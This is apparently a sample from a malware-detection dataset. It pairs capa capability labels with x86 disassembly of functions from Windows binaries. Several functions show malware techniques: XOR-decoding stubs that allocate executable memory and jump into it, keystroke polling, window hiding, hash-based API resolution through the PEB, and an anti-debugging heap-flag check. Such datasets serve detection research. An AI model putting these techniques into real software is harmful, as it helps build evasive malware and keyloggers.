joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa96058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.00a961a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xa9607e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa9606a
add dl, dl
jne 0xa96089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa960dc
xor eax, eax
add dl, dl
jne 0xa96096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xa9617d
add dl, dl
jne 0xa960a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa960b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa960bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa960c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xa960d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xa96075
mov eax, 1
add dl, dl
jne 0xa960ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xa960f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa960e1
sub eax, ebx
mov ebx, 1
jne 0xa96128
mov ecx, 1
add dl, dl
jne 0xa9610e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa96119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa96105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa96075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xa9613f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xa9614a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xa96136
cmp eax, 0x7d00
jae 0xa9616d
cmp eax, 0x500
jb 0xa96168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa96075
cmp eax, 0x7f
ja 0xa96170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xa96075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xa9619e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xa96075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100080c7
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100080c7
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100080c7
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100080c7
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100080c7
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100080c7
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100080c7
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100080c7
push 0xd008
push edi
call fcn.100080c7
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100080c7
int3

Function at 0x100080c7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x100080d6
pop dword [ebp - 0x4c]
mov eax, 0x100080d6
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3446a
push 0
mov eax, 0xadee51d4
add eax, 0x6212ee90
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x3518
mov esi, eax
mov edi, 0x740e3a6b
add edi, 0x9bf34b95
add edi, dword [ebp - 0x4c]
mov ebx, 0x276dec6d
xor dword [ebp - 0x20], eax
mov edx, dword [edi]
xor dword [ebp - 0xc], 0x497a4df6
xor edx, ebx
sub dword [ebp - 0x18], eax
mov dword [esi], edx
mov dword [ebp - 0x3c], 0x4b6d177b
add esi, 0xe02176c8
sub esi, 0xe02176c4
add edi, 0x17e97fea
add edi, 0xe816801a
loop 0x10008124
add eax, 0x3ef6e1b2
sub eax, 0x3ef61a7f
mov ebx, eax
add eax, 0x77556cb5
sub eax, 0x77556cb0
mov ecx, 0x7635070a
sub ecx, 0x6635070a
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x6d4c64bc
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x6d4c650a
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
mov ebx, ecx
test esi, esi
jne 0x6d4c651b
push 0xd
pop eax
jmp 0x6d4c6545
push edi
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x6d4c651e
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x6d4c6ad6
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x6d4dc420]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.6d4cb37b
mov ebx, eax
cmp ebx, esi
je 0x6d4c6b49
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d4cf9b2
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x6d4c6b61
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.6d4c6ad6
cmp eax, esi
jne 0x6d4c6b93
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], pe_nt_image_headers32
call ebx
test eax, eax
je 0x6d4c6b51
lea ecx, [ebp - 0x74]
call fcn.6d4c4db9
push dword [ebp - 0x78]
mov ecx, edi
call fcn.6d4c63e5
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.6d4c4db9
mov eax, esi
jmp 0x6d4c6b2f
Function at 0x6d4ca76d
Capabilities:
Hide graphical window

Disassembly:
push esi
test ecx, ecx
je 0x6d4ca777
lea esi, [ecx - 0x78]
jmp 0x6d4ca779
xor esi, esi
lea eax, [esi + 0x84]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov esi, dword [esi + 0x50]
test esi, esi
je 0x6d4ca795
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
pop esi
ret 8

Function at 0x6d4cadf2
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x1c
test eax, eax
je 0x6d4cae04
add eax, 0xffffff84
jmp 0x6d4cae06
xor eax, eax
and dword [ebp + 8], 0
push esi
mov esi, dword [ebp + 0xc]
push edi
push 7
pop ecx
lea edi, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 8]
push ecx
push 0x6d4d2c58
lea ecx, [eax + 4]
call fcn.6d4c8c68
test eax, eax
js 0x6d4cae6f
cmp dword [ebp + 8], 0
je 0x6d4cae6c
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
xor edi, edi
call esi
test ax, ax
jns 0x6d4cae44
inc edi
push 0x11
call esi
test ax, ax
jns 0x6d4cae50
add edi, 2
push 0x12
call esi
test ax, ax
jns 0x6d4cae5c
add edi, 4
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push edi
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x1c]
jmp 0x6d4cae6f
xor eax, eax
inc eax
xor ecx, ecx
test eax, eax
mov eax, dword [ebp + 8]
setne cl
mov esi, ecx
test eax, eax
je 0x6d4cae85
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x6d4cb37b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x6d4cb38a
pop dword [ebp - 0x30]
mov eax, 0x48830044
add eax, 0x24c9b346
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3dbc8
push 0
mov eax, 0xa9d2cc4a
sub eax, 0x3c85ab66
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x7bcc92e4
sub ecx, 0x7bcc3367
mov edi, eax
mov edx, 0x6d4e2600
add edx, dword [ebp - 0x30]
mov esi, 0x1232ae9d
sub esi, 0xe183bafa
sub dword [ebp - 0x14], ebx
mov ebx, dword [edx]
mov dword [ebp - 0x14], 0xf5817233
add ebx, esi
mov dword [ebp - 0x24], 0x4a966910
mov dword [edi], ebx
xor dword [ebp - 0x24], 0xf057df21
add edi, 4
add edx, 0xc1889ff0
sub edx, 0xc1889fec
loop 0x6d4cb3e3
add eax, 0x170c7
mov ebx, eax
add eax, 0x15340180
add eax, 0xeacbfe85
mov ecx, 0x463c6ec7
sub ecx, 0xd8f06ec7
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x6d4cf62d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d4dcaec], 0
push esi
push edi
jne 0x6d4cf5a3
call fcn.6d4cf50f
test eax, eax
je 0x6d4cf5e8
mov eax, dword [0x6d4dcaec]
cmp eax, 1
jne 0x6d4cf5c4
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d4cf5e8
jmp 0x6d4cf62a
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d4cf62a
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d4cf5ec
xor eax, eax
jmp 0x6d4cf62a
mov eax, dword [esi]
push dword [0x6d4dcaec]
call edi
mov edi, eax
test edi, edi
je 0x6d4cf60e
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d4cf62a
lea edi, [esi + 0xff0]
push esi
push dword [0x6d4dcaec]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d4cf614
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d4cf58f

Function at 0x6d4cf9b2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d4dc420]
jne 0x6d4cf9bc
repz ret
jmp fcn.6d4d005e
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10007fbe
pop dword [ebp - 0xc]
mov eax, 0x10007fbe
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x95b30248
sub dword [ebp - 0x1c], 0x4760bcfd
mov dword [ebp - 0x18], 0xe87c73ee
sub dword [ebp - 0x18], 0xb64927a9
mov dword [ebp - 0x14], 0x86fd6032
sub dword [ebp - 0x14], 0x3ab11c04
mov dword [ebp - 0x10], 0x8c8f3321
sub dword [ebp - 0x10], 0x8c8f3321
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x31ffd3c9
sub eax, 0x21fe1349
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xdb116bc6
add dword [ebp - 0x1c], 0x9960fd90
mov dword [ebp - 0x18], 0x83fc08d0
sub dword [ebp - 0x18], 0x428fa75b
mov dword [ebp - 0x14], 0x1eb75972
sub dword [ebp - 0x14], 0xbb47ed06
mov dword [ebp - 0x10], 0x5765a1d6
add dword [ebp - 0x10], 0xa89a5e2a
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xee8639af
sub eax, 0xde8479af
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x37e3b
push 0
call eax
mov ecx, 0x5faef974
add ecx, 0xa051501e
xor edx, edx
add edx, eax
mov ebx, 0x10026800
add ebx, dword [ebp - 0xc]
mov esi, 0x3b7fadf4
mov dword [ebp - 4], 0x92ed035f
mov edi, dword [ebx]
xor dword [ebp - 8], 0xbaaaeb7e
sub edi, esi
xor dword [ebp - 4], esi
mov dword [edx], edi
sub dword [ebp - 8], 0x53bcf18c
add edx, 0xe3dd3970
add edx, 0x1c22c694
add ebx, 0x708f1ee
add ebx, 0xf8f70e16
loop 0x100080d1
add eax, 0xb7d924da
add eax, 0x4827f441
mov ebx, eax
add eax, 0xe9041598
add eax, 0x16fbea6d
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_394
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_105
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_105
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40378f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x412020]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ecx, dword [0x412008]
xor esi, esi
cmp ecx, esi
je 0x4037fa
cmp ecx, 0xffffffff
je 0x4037fa
push esi
push esi
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push 0xffffffffffffffff
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
lea ecx, [ebp - 0x408]
push ecx
dec eax
push eax
lea eax, [ebp - 0x404]
push eax
push dword [0x412008]
mov dword [ebp - 0x408], esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004067fe
leave
ret 4
Function at 0x4067fe
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412020]
jne 0x406808
repz ret
jmp fcn.004087ea

Function at 0x40b79b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00407fd4
xor ebx, ebx
cmp dword [0x414af0], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b870
push 0x401d48
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b7db
xor eax, eax
jmp 0x40b934
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401d3c
push edi
call esi
cmp eax, ebx
je 0x40b7d4
push eax
call fcn.00407f71
mov dword [esp], 0x401d2c
push edi
mov dword [0x414af0], eax
call esi
push eax
call fcn.00407f71
mov dword [esp], 0x401d18
push edi
mov dword [0x414af4], eax
call esi
push eax
call fcn.00407f71
mov dword [0x414af8], eax
lea eax, [ebp - 8]
push eax
call fcn.00407270
test eax, eax
pop ecx
pop ecx
je 0x40b83e
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00408eda
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b870
push 0x401cfc
push edi
call esi
push eax
call fcn.00407f71
cmp eax, ebx
pop ecx
mov dword [0x414b00], eax
je 0x40b870
push 0x401ce4
push edi
call esi
push eax
call fcn.00407f71
pop ecx
mov dword [0x414afc], eax
mov eax, dword [0x414afc]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b8e9
cmp dword [0x414b00], esi
je 0x40b8e9
push eax
call fcn.00407fdd
pop ecx
call eax
cmp eax, ebx
je 0x40b8b6
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x414b00]
call fcn.00407fdd
pop ecx
call eax
test eax, eax
je 0x40b8b6
test byte [ebp - 0x18], 1
jne 0x40b8e9
lea eax, [ebp - 0xc]
push eax
call fcn.004072a7
test eax, eax
pop ecx
je 0x40b8d1
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00408eda
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b8e0
or dword [ebp + 0x10], 0x200000
jmp 0x40b91a
or dword [ebp + 0x10], 0x40000
jmp 0x40b91a
mov eax, dword [0x414af4]
cmp eax, esi
je 0x40b91a
push eax
call fcn.00407fdd
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b91a
mov eax, dword [0x414af8]
cmp eax, esi
je 0x40b91a
push dword [ebp - 4]
push eax
call fcn.00407fdd
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x414af0]
call fcn.00407fdd
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100130fa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10013109
pop dword [ebp - 0x14]
mov eax, 0xc774c33f
sub eax, 0xb7739236
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xaa74346f
sub dword [ebp - 0x24], 0x5c21ef24
mov dword [ebp - 0x20], 0xd93b53cb
add dword [ebp - 0x20], 0x58f7f87a
mov dword [ebp - 0x1c], 0x29dde9da
add dword [ebp - 0x1c], 0x226e5a54
mov dword [ebp - 0x18], 0x4a06ba03
sub dword [ebp - 0x18], 0x4a06ba03
lea eax, [ebp - 0x24]
push eax
mov eax, 0xfdbb98e7
sub eax, 0xedb8a75b
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x45077e29
add dword [ebp - 0x24], 0x2f6aeb2d
mov dword [ebp - 0x20], 0xe15efe32
add dword [ebp - 0x20], 0x600d6343
mov dword [ebp - 0x1c], 0xbd3025f1
add dword [ebp - 0x1c], 0xa63f467b
mov dword [ebp - 0x18], 0x4ff9f849
sub dword [ebp - 0x18], 0x4ff9f849
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x46fe7
push 0
call eax
mov ecx, 0x73772cc
sub ecx, 0x7372136
mov esi, eax
mov edi, 0x1c8b3e3f
sub edi, 0xc86da3f
add edi, dword [ebp - 0x14]
mov ebx, 0xa0ead35f
sub dword [ebp - 0x10], 0x28ff86af
mov edx, dword [edi]
xor edx, ebx
sub dword [ebp - 0x10], edx
mov dword [esi], edx
add esi, 0x5c82874e
add esi, 0xa37d78b6
add edi, 4
loop 0x10013220
add eax, 0xfb2a1b49
sub eax, 0xfb28e21e
mov ebx, eax
add eax, 5
mov ecx, 0x80841638
add ecx, 0x8f7be9c8
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40a1de
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax]
test eax, eax
jle 0x40a242
add eax, 8
mov edi, eax
mov ebx, edi
push edi
xor al, al
pop esi
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov edi, eax
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x40a22b
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x40a21a
xor ecx, eax
xor edx, ebx
dec edi
jne 0x40a20b
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop ecx
pop edx
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x4223b2
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4223e0
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4223d7
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4223cf
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x422401
mov esp, ebp
pop ebp
ret

Function at 0x422405
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x422471
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x42249e
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x42248d
xor ecx, eax
xor edx, ebx
dec edi
jne 0x42247e
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x4224c4
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x422465
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x4224f0
mov esp, ebp
pop ebp
ret 0xc
Function at 0x428f9c
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
jmp 0x428fbe
mov dword [ebp - 4], 0
push eax
push ecx
push edx
push ebx
push esi
push edi
nop
nop
nop
push ebx
push ecx
push edx
mov eax, VariantCopy
cpuid
shr ecx, 0x10
mov esi, ecx
nop
pop edx
pop ecx
pop ebx
nop
push ebx
push ecx
push edx
mov eax, reloc.WS2_32.dll_getpeername
cpuid
shr edx, 0x18
shr ecx, 0x18
add edx, ecx
add esi, edx
nop
pop edx
pop ecx
pop ebx
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x64]
add esi, eax
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, al
add esi, ebx
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, cl
add esi, ebx
nop
mov eax, 1
cpuid
xor ebx, ebx
mov bl, dl
add esi, ebx
nop
imul esi, esi, 0x666
mov dword [ebp - 4], esi
nop
pop edi
pop esi
pop ebx
pop edx
pop ecx
pop eax
mov eax, dword [ebp - 4]
jmp 0x42905b
mov esp, ebp
pop ebp
ret